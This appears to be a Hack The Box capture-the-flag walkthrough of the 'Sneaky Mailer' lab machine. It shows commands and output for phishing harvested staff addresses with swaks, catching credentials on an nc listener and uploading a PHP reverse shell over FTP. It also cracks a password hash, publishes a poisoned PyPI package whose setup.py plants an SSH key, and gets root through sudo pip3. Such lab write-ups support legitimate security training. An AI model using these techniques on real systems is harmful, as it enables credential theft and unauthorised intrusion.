Hack The Box - Sneaky Mailer Writeup
Hack The Box - Sneaky Mailer
Enumeration
Add sneakymailer.htb
to hosts
and start an nmap
scan.
Nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-12 01:43 EDT
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up (0.41s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Employee - Dashboard
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: THREAD=REFERENCES UIDPLUS UTF8=ACCEPTA0001 STARTTLS CHILDREN NAMESPACE ACL2=UNION IDLE completed CAPABILITY OK QUOTA ACL THREAD=ORDEREDSUBJECT SORT ENABLE IMAP4rev1
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Courier Imapd (released 2018)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
5280/tcp filtered xmpp-bosh
7920/tcp filtered unknown
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
27355/tcp filtered unknown
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.86 seconds
Alright, we have quite a few mail related ports. Lets do some digging for the discovered ports.
Port 80
We are presented with a dashboard and some employee details along with their email IDs.
There is also a register.php
page but couldn’t do anything with it. Probably a rabbit hole.
Subdomain Fuzzing - Wfuzz
Enumerating the subdomains gives some interesting results.
kali@kali:~/Desktop/htb/sneaky$ wfuzz --hh 0 -H 'Host: FUZZ.sneakycorp.htb' -u http://sneakycorp.htb/ --hc 400 -w /
usr/share/wordlists/wfuzz/general/common.txt -c
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://sneakycorp.htb/
Total requests: 949
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000001: 301 7 L 12 W 185 Ch "@"
000000002: 301 7 L 12 W 185 Ch "00"
000000003: 301 7 L 12 W 185 Ch "01"
000000004: 301 7 L 12 W 185 Ch "02"
000000005: 301 7 L 12 W 185 Ch "03"
000000006: 301 7 L 12 W 185 Ch "1"
000000007: 301 7 L 12 W 185 Ch "10"
000000008: 301 7 L 12 W 185 Ch "100"
000000009: 301 7 L 12 W 185 Ch "1000"
------------------
000000265: 301 7 L 12 W 185 Ch "devs"
000000256: 200 340 L 989 W 13737 Ch "dev"
000000266: 301 7 L 12 W 185 Ch "diag"
000000267: 301 7 L 12 W 185 Ch "dial"
000000268: 301 7 L 12 W 185 Ch "dig"
000000269: 301 7 L 12 W 185 Ch "dir"
^C
Nothing interesting in the dev
domain either.
SMTP
After going through all the mail ports I couldn’t find anything useful. After some clues from the forums, I understood that the box is simulating a real world scenario of phishing.
We can send mail with a http://<ip>
link in the body to all users and see if we get any response.
First scrap all email addresses using cewl
kali@kali:~/Desktop/htb/sneaky$ cewl -e --email_file emails http://sneakycorp.htb/team.php
CeWL 5.4.7 (Exclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Now lets send mails to all users using a bash
one liner. Start a nc
listener on port 80
.
kali@kali:~/Desktop/htb/sneaky$ while read p; do echo Trying user $p; swaks --to $p --body ./data ; done < emails
Trying user airisatou@sneakymailer.htb
=== Trying sneakymailer.htb:25...
=== Connected to sneakymailer.htb.
<- 220 debian ESMTP Postfix (Debian/GNU)
-> EHLO kali
<- 250-debian
<- 250-PIPELINING
<- 250-SIZE 10240000
<- 250-VRFY
<- 250-ETRN
<- 250-STARTTLS
<- 250-ENHANCEDSTATUSCODES
<- 250-8BITMIME
<- 250-DSN
<- 250-SMTPUTF8
<- 250 CHUNKING
-> MAIL FROM:<kali@kali>
<- 250 2.1.0 Ok
-----------------------------
And we get a connection for paulbyrd@sneakymailer.htb
which includes some credentials.
kali@kali:~/Desktop/htb/sneaky$ sudo nc -lvp 80
[sudo] password for kali:
listening on [any] 80 ...
connect to [10.10.14.29] from sneakycorp.htb [10.10.10.197] 42874
POST / HTTP/1.1
Host: 10.10.14.29
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt^C
Evolution
We can use evolution email client to access the mail box of paul
We can see two mails in the sent items folder. One contains the credentials for developer
and another for a user named low
regarding PyPI
service.
FTP
We can login to ftp
using the credentials of the developer
.
The files in ftp
belongs to the vhost dev.sneakymailer.htb
. We can upload a php
file and open it in browser to get a shell.
kali@kali:~/Desktop/htb/sneaky$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
ftp> user developer m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 01:15 dev
226 Directory send OK.
ftp> cd dev
250 Directory successfully changed.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.00 secs (14.9246 MB/s)
There seems to be a cleanup script running in the background. We will have to upload the file and open it in browser immediately to get the a shell.
kali@kali:~/Desktop/htb/sneaky$ nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.29] from sneakycorp.htb [10.10.10.197] 54676
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
22:44:12 up 10:11, 0 users, load average: 0.24, 0.06, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@sneakymailer:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@sneakymailer:/$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
developer@sneakymailer:/$ id
id
uid=1001(developer) gid=1001(developer) groups=1001(developer)
developer@sneakymailer:/$
We can use the password of developer
to change user.
PyPI Server
On poking around, we can see a process that is being run by low
.
developer@sneakymailer:/$ ps aux | grep low
ps aux | grep low
low 1083 0.0 0.5 29952 20860 ? Ss 12:33 0:17 /home/low/venv/bin/python /opt/scripts/low/install-modules.py
develop+ 24158 0.0 0.0 6076 884 pts/0 S+ 22:50 0:00 grep low
We had also seen in the mail that low
was doing pypi
packages install for the system.
There is a pypi
server running on pypi.sneakycorp.htb:8080
. We can upload our own python package and get arbitrary code execution. It is is protected using a password. We can get the password from .htaccess
file and crack it using john
$ cat .ht*
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
kali@kali:~/Desktop/htb/sneaky$ john --wordlist=/usr/share/wordlists/rockyou.txt john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui (pypi)
1g 0:00:00:30 DONE (2020-07-16 12:50) 0.03281g/s 117304p/s 117304c/s 117304C/s souheib2..souderton16
Use the "--show" option to display all of the cracked passwords reliably
Session completed
User shell
- Download a
pypi
package. - Edit the setup file to include the code to append our
ssh
keys toauthorized_users
. Edit thepypirc
file to include our credentials.Setup.py
kali@kali:~/Desktop/htb/sneaky/sysstat-0.1$ cat setup.py import setuptools try: with open("/home/low/.ssh/authorized_keys", "a") as f: f.write("\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/SB6ZpFdorqmnLC/Rh+2KpkAlCf96RHUGCDQadLSdpdsKv/Od01qsgNXXpKmob1vUXxrV+emBZgkHgEB4dg77GXs39ebxxnGfP1NMX2nfd7fIjwA9keA3nLJfMNGUKXjbkctm9zMzh7hc+O9MfcZcClmEYuABz9D+ZYvIbK99d60BzDr9onZFPX5w+UCsZ+pKn8DIGiFDUmcvRyFB8XlzDZ/bnLxN+7Xm+S************************************************************AwNrlXxbH81W9P1fJDJ5hnTlQvEWox6qyljHystGvreORlDkMb/WSEcqtdls7T+OBEjfIZ3QsgjD89cnai8SYPxAoXRTBPRma7gVl9UKYOGIDrBTcGzfSvGsbbAj8IlBMyWLmn****b6zIUnkxDd8oOEWquD5UzCmc/7tHu683Ev904fixq5LyFuCHm8hw+/ISOM1PzCssE= kali@kali") f.close() except Exception as e: pass setuptools.setup( name="example-pkg3", # Replace with your own username version="0.0.1", author="Example Author", author_email="author@example.com", description="A small example package", long_description="", long_description_content_type="text/markdown", url="https://github.com/pypa/sampleproject", packages=setuptools.find_packages(), classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], )
#### .pypirc
kali@kali:~/Desktop/htb/sneaky$ cat .pypirc [distutils] index-servers = local [local] repository: http://pypi.sneakycorp.htb:8080 username: pypi password: soufianeelhaoui
- Transfer the files to the system and upload it to
pypi
server usingpython3 setup.py sdist register -r local upload -r local
. The.pypirc
file must be in the directory specified byHOME
env variable.
developer@sneakymailer:/tmp$ wget http://10.10.14.29:8000/sys.tar.gz
wget http://10.10.14.29:8000/sys.tar.gz
--2020-07-19 23:10:35-- http://10.10.14.29:8000/sys.tar.gz
Connecting to 10.10.14.29:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20480 (20K) [application/gzip]
Saving to: ‘sys.tar.gz’
sys.tar.gz 100%[===================>] 20.00K 55.0KB/s in 0.4s
2020-07-19 23:10:36 (55.0 KB/s) - ‘sys.tar.gz’ saved [20480/20480]
developer@sneakymailer:/tmp$ tar -xvf sys.tar.gz
tar -xvf sys.tar.gz
./sysstat-0.1/
./sysstat-0.1/setup.cfg
./sysstat-0.1/README.md
./sysstat-0.1/sysstat/
./sysstat-0.1/sysstat/conf.ini
./sysstat-0.1/sysstat/__main__.py
./sysstat-0.1/sysstat/__init__.py
./sysstat-0.1/sysstat.egg-info/
./sysstat-0.1/sysstat.egg-info/top_level.txt
./sysstat-0.1/sysstat.egg-info/dependency_links.txt
./sysstat-0.1/sysstat.egg-info/PKG-INFO
./sysstat-0.1/sysstat.egg-info/SOURCES.txt
./sysstat-0.1/sysstat.egg-info/requires.txt
./sysstat-0.1/PKG-INFO
./sysstat-0.1/setup.py
./sysstat-0.1/MANIFEST.in
developer@sneakymailer:/tmp/sysstat-0.1$ python3 setup.py sdist register -r local upload -r local
<n3 setup.py sdist register -r local upload -r local
running sdist
running egg_info
creating example_pkg3.egg-info
writing example_pkg3.egg-info/PKG-INFO
writing dependency_links to example_pkg3.egg-info/dependency_links.txt
writing top-level names to example_pkg3.egg-info/top_level.txt
writing manifest file 'example_pkg3.egg-info/SOURCES.txt'
reading manifest file 'example_pkg3.egg-info/SOURCES.txt'
reading manifest template 'MANIFEST.in'
warning: no files found matching 'sysstat/README.md'
writing manifest file 'example_pkg3.egg-info/SOURCES.txt'
running check
creating example-pkg3-0.0.1
creating example-pkg3-0.0.1/example_pkg3.egg-info
creating example-pkg3-0.0.1/sysstat
copying files to example-pkg3-0.0.1...
copying MANIFEST.in -> example-pkg3-0.0.1
copying README.md -> example-pkg3-0.0.1
copying setup.cfg -> example-pkg3-0.0.1
copying setup.py -> example-pkg3-0.0.1
copying example_pkg3.egg-info/PKG-INFO -> example-pkg3-0.0.1/example_pkg3.egg-info
copying example_pkg3.egg-info/SOURCES.txt -> example-pkg3-0.0.1/example_pkg3.egg-info
copying example_pkg3.egg-info/dependency_links.txt -> example-pkg3-0.0.1/example_pkg3.egg-info
copying example_pkg3.egg-info/top_level.txt -> example-pkg3-0.0.1/example_pkg3.egg-info
copying sysstat/conf.ini -> example-pkg3-0.0.1/sysstat
Writing example-pkg3-0.0.1/setup.cfg
creating dist
Creating tar archive
removing 'example-pkg3-0.0.1' (and everything under it)
running register
Registering example-pkg3 to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/example-pkg3-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
Now we can ssh
into the machine.
kali@kali:~/Desktop/htb/sneaky$ ssh -i id_rsa low@sneakymailer.htb
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$
Root Shell
We can run pip3
with sudo
.
kali@kali:~/Desktop/htb/sneaky$ ssh -i id_rsa low@sneakymailer.htb
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
There is a gtfobin
entry for pip
. We can use that to get root.
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
id
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.AzBugC2tJC
# uid=0(root) gid=0(root) groups=0(root)
And we are root.